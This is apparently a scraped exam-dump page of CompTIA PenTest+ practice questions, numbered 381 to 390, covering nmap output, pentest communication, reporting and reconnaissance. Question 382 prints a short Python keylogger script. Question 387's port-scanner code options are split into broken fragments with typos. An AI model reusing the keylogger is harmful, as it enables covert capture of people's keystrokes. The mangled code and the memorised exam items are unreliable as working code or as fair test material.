Exam Details

  • Exam Code
    :PT0-002
  • Exam Name
    :CompTIA PenTest+
  • Certification
    :CompTIA Certifications
  • Vendor
    :CompTIA
  • Total Questions
    :455 Q&As
  • Last Updated
    :Mar 28, 2025

CompTIA CompTIA Certifications PT0-002 Questions & Answers

  • Question 381:

    A penetration tester is looking for a particular type of service and obtains the output below:

    I Target is synchronized with 127.127.38.0 (reference clock) I Alternative Target Interfaces:

    I 10.17.4.20

    I Private Servers (0)

    I Public Servers (0)

    I Private Peers (0)

    I Public Peers (0)

    I Private Clients (2)

    I 10.20.8.69 169.254.138.63

    I Public Clients (597)

    I 4.79.17.248 68.70.72.194 74.247.37.194 99.190.119.152

    I 12.10.160.20 68.80.36.133 75.1.39.42 108.7.58.118

    I 68.56.205.98

    I 2001:1400:0:0:0:0:0:1 2001:16d8:ddOO:38:0:0:0:2

    I 2002:db5a:bccd:l:21d:e0ff:feb7:b96f 2002:b6ef:81c4:0:0:1145:59c5:3682

    I Other Associations (1)

    |_ 127.0.0.1 seen 1949869 times, last tx was unicast v2 mode 7

    Which of the following commands was executed by the tester?

    A. nmap-sU-pU:517-Pn-n--script=supermicro-ipmi-config

    B. nmap-sU-pU:123-Pn-n--script=ntp-monlist

    C. nmap-sU-pU:161-Pn-n--script

    D. nmap-sU-pU:37 -Pn -n --script=icap-info

  • Question 382:

    During an assessment, a penetration tester emailed the following Python script to CompTIA's employees:

    import pyHook, sys, logging, pythoncom, datetime

    log_file='C:\\Windows\\Temp\\log_comptia.txt' def KbrdEvent(event):

    logging.basicConfig(filename=log_file,level=logging.DEBUG, format='%(messages)s') chr(event.Ascii)

    logging.log(10, chr(event.Ascii))

    return True

    hooks_manager = pyHook.HookManager()

    hooks_manager.KeyDown = KbrdEvent

    hooks_manager.HookKeyboard()

    pythoncom.PumpMessages()

    Which of the following is the intended effect of this script?

    A. Debugging an exploit

    B. Keylogging

    C. Collecting logs

    D. Scheduling tasks

  • Question 383:

    A penetration tester is conducting a test after hours and notices a critical system was taken down. Which of the following contacts should be notified first?

    A. Secondary

    B. Emergency

    C. Technical

    D. Primary

  • Question 384:

    Which of the following elements of a penetration testing report aims to provide a normalized and standardized representation of discovered vulnerabilities and the overall threat they present to an affected system or network?

    A. Executive summary

    B. Vulnerability severity rating

    C. Recommendations of mitigation

    D. Methodology

  • Question 385:

    A potential reason for communicating with the client point of contact during a penetration test is to provide resolution if a testing component crashes a system or service and leaves them unavailable for both legitimate users and further testing. Which of the following best describes this concept?

    A. Retesting

    B. De-escalation

    C. Remediation

    D. Collision detection

  • Question 386:

    A penetration tester is taking screen captures of hashes obtained from a domain controller. Which of the following best explains why the penetration tester should immediately obscure portions of the images before saving?

    A. To maintain confidentiality of data/information

    B. To avoid disclosure of how the hashes were obtained

    C. To make the hashes appear shorter and easier to crack

    D. To prevent analysis based on the type of hash

  • Question 387:

    During a security assessment, a penetration tester decides to implement a simple TCP port scanner to check the open ports from 1000 to 2000. Which of the following Python scripts would achieve this task?

    A. fori in range(1000, 2001): s = socket(AF_INET, SOCK_STREAM) conn = s.connect_ex((host_IP, i)) if (conn == 0): print(fPort {i} OPEN')

    B. close ()

    C. fori in range(1001, 2000): s = socket(AF_INET, SOCK_STREAM) conn =

    D. connect--ex((host_IP, i)) if (conn == 0): print (f'Port {i} OPEN') s.close ()

    E. fori in range(1000, 2001): s = socket(AF--INET, SOCK_DGRAM) conn =

    F. connect--ex((host_IP, i)) if (conn == 0): print(f'Port {i} OPEN') s.close ()

    G. fori in range (1000, 2000): s = socket(SOCK_STREAM, AF_INET) conn =

    H. connect--ex((host--IP, i)) if (conn == 0): print (f'Port {i} OPEN') s.close()

  • Question 388:

    A penetration tester is preparing a credential stuffing attack against a company's website. Which of the following can be used to passively get the most relevant information?

    A. Shodan

    B. BeEF

    C. HavelBeenPwned

    D. Maltego

  • Question 389:

    A penetration tester discovers passwords in a publicly available data breach during the reconnaissance phase of the penetration test. Which of the following is the best action for the tester to take?

    A. Add thepasswords to an appendix in the penetration test report.

    B. Do nothing. Using passwords from breached data is unethical.

    C. Contactthe client and inform them of the breach.

    D. Use thepasswords in a credential stuffing attack when the external penetration test begins.

  • Question 390:

    A penetration tester is conducting an assessment of an organization that has both a web and mobile application. While testing the user profile page, the penetration tester notices that additional data is returned in the API response, which is not displayed in the web user interface. Which of the following is the most effective technique to extract sensitive user data?

    A. Compare PI I from data leaks to publicly exposed user profiles.

    B. Target the user profile page with a denial-of-service attack.

    C. Target the user profile page with a reflected XSS attack.

    D. Compare the API response fields to GUI fields looking for PH.

Tips on How to Prepare for the Exams

Nowadays, the certification exams become more and more important and required by more and more enterprises when applying for a job. But how to prepare for the exam effectively? How to prepare for the exam in a short time with less efforts? How to get a ideal result and how to find the most reliable resources? Here on Vcedump.com, you will find all the answers. Vcedump.com provide not only CompTIA exam questions, answers and explanations but also complete assistance on your exam preparation and certification application. If you are confused on your PT0-002 exam preparations and CompTIA certification application, do not hesitate to visit our Vcedump.com to find your solutions here.